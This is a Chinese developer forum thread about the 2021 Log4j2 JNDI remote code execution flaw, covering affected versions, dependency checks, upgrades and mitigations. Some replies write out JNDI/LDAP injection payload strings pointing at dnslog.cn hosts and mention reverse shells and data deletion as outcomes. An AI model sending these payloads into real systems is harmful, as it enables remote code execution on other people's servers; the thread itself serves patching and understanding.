V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Jooooooooo
V2EX  ›  程序员

log4j2 的漏洞大家今天晚上修复吗?

  •  1
     
  •   Jooooooooo · 165 天前 · 13414 次点击
    这是一个创建于 165 天前的主题,其中的信息可能已经有所发展或是发生改变。

    没想到继 fastjson 之后还有这一出.

    82 条回复    2021-12-13 10:14:58 +08:00
    lix7
        2
    lix7  
       165 天前
    点完早饭外卖被电话叫起来了修了...
    Divinook
        3
    Divinook  
       165 天前
    log4j 有这个问题吗?
    ericgui
        4
    ericgui  
       165 天前
    有什么 log4j2 的替代品吗
    zxCoder
        5
    zxCoder  
       165 天前
    不懂信息安全。。。怎么一个 jar 包还能被攻击啊
    xd199153
        6
    xd199153  
       165 天前
    作为脚本小子,我只关心 exp
    justs0o
        7
    justs0o  
       165 天前   ❤️ 1
    Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2 、Apache Solr 、Apache Druid 、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。



    漏洞评级

    Apache Log4j 远程代码执行漏洞 严重



    影响版本

    Apache Log4j 2.x <= 2.14.1



    安全建议

    1. 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

    2. 升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
    wolfie
        8
    wolfie  
       165 天前
    @ericgui #4
    logback
    MonkeyJon
        10
    MonkeyJon  
       165 天前
    用户只需排查 Java 应用是否引入 log4j-api , log4j-core 两个 jar 。若存在应用使用,极大可能会受到影响。
    没有这俩,明天可以休息啦
    play78
        11
    play78  
       165 天前
    springboot -> spring-boot-starter -> spring-boot-starter-logging -> log4j-to-slf4j -> log4j-api 也就是说所有 springboot 项目都会有影响?
    aoizz
        12
    aoizz  
       165 天前
    @MonkeyJon #10 看 idea 外部库里面有 log4j-api ,但是系统用的是 logback,pom 文件也没有引入 log4j,怎么查看是哪个依赖带的?
    jinzhongyuan
        13
    jinzhongyuan  
       165 天前
    哪位彦祖讲一下,一个 jar 包怎么被攻击?
    wolfie
        14
    wolfie  
       165 天前   ❤️ 1
    @aoizz #12
    IDEA 、maven ,control + `+号`,所有依赖 tree 形式列出来了。
    enrolls
        15
    enrolls  
       165 天前
    想看的东西在这
    Vcccc
        17
    Vcccc  
       165 天前
    Apache log4j2 在 2.0 至 2.14.1 版本均受影响。 好像我们用的还是 1.x 的版本[doge]
    learningman
        18
    learningman  
       165 天前
    @aoizz #12 你这不都把答案说出来了吗。。。。logback 依赖 log4j 啊
    enrolls
        19
    enrolls  
       165 天前
    arthas2234
        20
    arthas2234  
       165 天前
    打开 IDEA ,搜一下 log4j ,用的是 1.X 的版本,继续摸鱼
    ixx
        21
    ixx  
       165 天前
    @play78 #11 可以看一下项目 maven 依赖 我看 springboot 2.x 默认使用的不是 log4j
    rayhy
        22
    rayhy  
       165 天前
    @justs0o 最新消息: https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A

    Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本
    Jwyt
        23
    Jwyt  
       165 天前   ❤️ 1
    @play78 不是吧 我记得 springboot 默认日志不是 slf4j + logback 么
    dreamramon
        24
    dreamramon  
       165 天前
    加了环境变量了,不知道顶不顶得住。
    Jwyt
        25
    Jwyt  
       165 天前
    @learningman 谁告诉你 logback 依赖 log4j 的?
    ixx
        26
    ixx  
       165 天前   ❤️ 8
    @jinzhongyuan #13 通俗点说一下问题

    一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数

    如果前台传的是构造的参数如: ${jndi:ldap://xxxx.dnslog.cn/exp}

    exp 返回的是一个构造方法里执行 shell 代码的 class 文件

    然后你设置的什么命令服务器接收到参数后就执行这个命令了
    aoizz
        27
    aoizz  
       165 天前
    @MonkeyJon #10 spring-boot-starter-web 里面排除 log4j-to-slf4j 就好了
    MonkeyJon
        28
    MonkeyJon  
       165 天前
    @aoizz 应该是
    adamwhite
        29
    adamwhite  
       165 天前
    @aoizz ... 麻了,那家公司只有一个后端的,几十个工程都要处理
    wbd31
        30
    wbd31  
       164 天前
    funway
        31
    funway  
       164 天前
    @ixx 👍
    感谢大佬,好像懂了
    RuzZ
        32
    RuzZ  
       164 天前
    @wbd31 没用配置 jms appender ,应该就没有影响吧
    RuzZ
        34
    RuzZ  
       164 天前   ❤️ 1
    @RuzZ 根据 quote 的内容,log4j1.x 不支持 lookup ,也找不到 JNDI 的相关引用,感觉是可以理解为 log4j 1.x 不受此次 bug 的影响
    adamwhite
        35
    adamwhite  
       164 天前
    可以通过关闭日志暂时屏蔽问题么?
    Lemeng
        36
    Lemeng  
       164 天前
    大厂加油
    sadfQED2
        37
    sadfQED2  
       164 天前 via Android
    哈哈哈,非 java boy 开心吃瓜
    iold
        38
    iold  
       164 天前
    arthas2234
        39
    arthas2234  
       164 天前
    @wbd31 不会吧,现在蔓延到 1.x 了么,不过我负责的项目是在内网的,还可以观望一下
    play78
        40
    play78  
       164 天前
    @arthas2234 让网管在防火墙上把 ldap 协议禁止了。估计还可以继续苟。
    xbchaonba
        41
    xbchaonba  
       164 天前
    苹果云应为这个漏洞被搞了吗,一直登录不了
    matepi
        42
    matepi  
       164 天前
    @play78 ldap 只是一种利用手段的演示而已,rmi 的方法多了去了
    sha851092391
        43
    sha851092391  
       164 天前
    快速验证是否有这个问题: https://issues.apache.org/jira/browse/LOG4J2-3202
    修复措施:直接升级到 2.15.0 版本
    临时修复措施: 增加 log4j2.component.properties 配置文件,配置为 log4j2.formatMsgNoLookups=true
    yiywain
        44
    yiywain  
       164 天前
    没有过哎
    janda
        45
    janda  
       164 天前
    用的 springboot 、也看了 mvn 仓库没有、这个咋更新
    ```pom
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
    </dependency>
    ```
    ivancai
        46
    ivancai  
       164 天前
    是 log4j2 有问题还是 log4j 都有这个问题?
    NULL2020
        47
    NULL2020  
       164 天前
    没人说说刚发布的版本怎么编译打包吗?
    wbd31
        48
    wbd31  
       164 天前
    @sha851092391 log4j2.formatMsgNoLookups 这个配置只有在 2.10.0 之后的版本才生效。
    sshang
        49
    sshang  
       164 天前
    @ivancai log4j2 就是 log4j 的 2.x 版本,artifact 就是 log4j
    sagaxu
        50
    sagaxu  
       164 天前 via Android
    官方真急了,禁用了这个功能,把开关都去掉了,官网文档也找不到这个配置项了
    issakchill
        51
    issakchill  
       164 天前
    @NULL2020 我先用着 2.15.0 顶着 aliyun 库有
    pocketz
        52
    pocketz  
       164 天前
    janda
        54
    janda  
       164 天前
    @janda
    maven 更新:

    <!--Log4j-->
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
    </dependency>
    deadofpeople
        55
    deadofpeople  
       164 天前
    官网的 2.15.0 是 RC2 版本么
    NULL2020
        56
    NULL2020  
       164 天前
    @pocketz #52 没用,报错


    @issakchill #51 我在阿里仓库网站上能搜索到,但 idea 下载不了
    VIVVACI
        57
    VIVVACI  
       164 天前
    @adamwhite 日志可不能随便关啊,出了问题日志是 debug 的最重要的依据之一,不能因噎废食
    jamzhou
        58
    jamzhou  
       164 天前
    确定 log4j-api 也受影响吗,我这边通过尝试构建攻击参数,并未能复现注入攻击。
    而 2.14.1 上,的确可以让记录日志的时候,注入远程执行。
    BigDogWang
        59
    BigDogWang  
       164 天前
    1.7 版本没事吧
    a594195609
        60
    a594195609  
       164 天前
    @NULL2020 你看错了吧?阿里云仓库里目前能搜得到的是非官方的,groupId 不一样的,大小都差很远,不敢用。
    xd199153
        61
    xd199153  
       164 天前
    ${jndi:ldap://00pfh9.dnslog.cn}
    sshang
        62
    sshang  
       164 天前
    @jamzhou 你复现注入执行的时候,是用的 log4j 的什么包
    lhwarthas
        63
    lhwarthas  
       164 天前
    源码编译步骤:
    1.准备 JDK8 & JDK11 & maven
    2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录
    3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml
    pocketz
        64
    pocketz  
       164 天前
    @NULL2020
    你报错信息是什么?我这边报错是远程 repo 里没有 log4j-api-java9 。

    把源码里的 log4j-api-java9 添加到我本地的 repo 里,log4j-api 就编译成功了
    donespeak
        65
    donespeak  
       164 天前
    有人讲讲通过这个漏洞可以做什么样的吗?
    whoosy
        66
    whoosy  
       164 天前
    正在搞
    Depth
        67
    Depth  
       164 天前
    @donespeak 远程命令执行,好点的远程下载木马,反弹 shell,坏点的,rm -r root 一下
    yangyaofei
        68
    yangyaofei  
       164 天前 via Android
    那个……如果是 linux 上,用一个很低的权限(只有 web 文件夹有读权限)的帐户运行程序,是不是就没事儿了?
    zooo
        69
    zooo  
       164 天前
    @donespeak 大概就是攻击者想执行什么代码就可以执行什么代码
    linvaux
        70
    linvaux  
       164 天前
    @ericgui logback
    wth4612
        71
    wth4612  
       164 天前
    codehz
        72
    codehz  
       164 天前 via Android
    @yangyaofei 考虑下内网有没有别的服务(
    比如数据库

    还有就是即使啥权限没有,也能挖矿
    SirCarol
        73
    SirCarol  
       164 天前 via iPhone
    今天修复了一天。
    jamzhou
        74
    jamzhou  
       164 天前
    @sshang 我用的 2.14.1

    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
    </dependency>
    movq
        75
    movq  
       164 天前   ❤️ 1
    Spring 里面默认用的 logback+slf4j ,然后 log4j api 只是个 api ,log4j-to-slf4j 只是让调用 log4j 的代码不变,背后实际调用的是 slf4j 吧

    总结下来就是 Spring 默认情况下不存在这个漏洞

    @jamzhou
    @aoizz
    @aoizz
    @play78
    hallDrawnel
        76
    hallDrawnel  
       164 天前
    今天看隔壁修了一天,还好我们这边没 Java
    ericFork
        77
    ericFork  
       164 天前
    @hallDrawnel #76 依赖的基础设施如果有用到的话也一样要修的,比如 kafka, elasticsearch
    hallDrawnel
        78
    hallDrawnel  
       164 天前
    @ericFork 是的,但是那个有其他团队负责修,我们只需要观察稳定性就行了
    vincent956
        79
    vincent956  
       164 天前
    @MonkeyJon springboot 自己引入的这个两个包,但是项目上没有使用,有影响吗
    Kaiv2
        80
    Kaiv2  
       164 天前
    高版本 JDK 不用太担心
    com.sun.jndi.rmi.object.trustURLCodebase 这个参数没有设置为 true ,不会远程加载 class, 会抛出异常
    ixx
        81
    ixx  
       163 天前
    @vincent956 #79 springboot 默认是没有影响的
    wilsonsui
        82
    wilsonsui  
       162 天前   ❤️ 1
    参考 https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot spring-boot-starter-logging 包中的 log4j-to-slf4j 与 log4j-api 不受漏洞影响,只有 log4j-core 受影响
    关于   ·   帮助文档   ·   API   ·   FAQ   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   3952 人在线   最高记录 5497   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 32ms · UTC 03:46 · PVG 11:46 · LAX 20:46 · JFK 23:46
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.